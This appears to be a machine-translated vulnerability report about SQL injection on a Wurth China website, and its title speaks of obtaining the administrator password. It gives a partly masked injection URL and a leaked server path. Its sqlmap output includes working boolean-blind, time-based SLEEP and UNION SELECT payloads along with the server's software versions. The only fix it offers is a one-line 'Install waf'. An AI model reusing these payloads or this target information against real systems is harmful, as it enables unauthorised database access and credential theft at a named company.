Wurth Chinese SQL injection vulnerability to obtain administrator password

Wurth Chinese SQL injection vulnerability to obtain administrator password

The SQL injection vulnerability exists and the dba permission exists.

Injection point: http: // **. **/html/NewsView_cn.php? Id = 58

You cannot write Trojans using udfs, and you do not have the write permission.

When you access http: // **. **/ftp, the server's physical path is displayed:

/Var/www/wuerthcn/ftp/ages. inc. php
 

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: id (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: id=58 AND 6619=6619    Type: AND/OR time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)    Payload: id=58 AND (SELECT * FROM (SELECT(SLEEP(5)))lQsI)    Type: UNION query    Title: Generic UNION query (NULL) - 15 columns    Payload: id=-4465 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71716b7671,0x486b5a62676461447a52,0x7178787871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-----[00:29:11] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Red Hat Enterprise 5 (Tikanga)web application technology: Apache 2.2.3, PHP 5.1.6back-end DBMS: MySQL 5.0.12

Solution:

Install waf.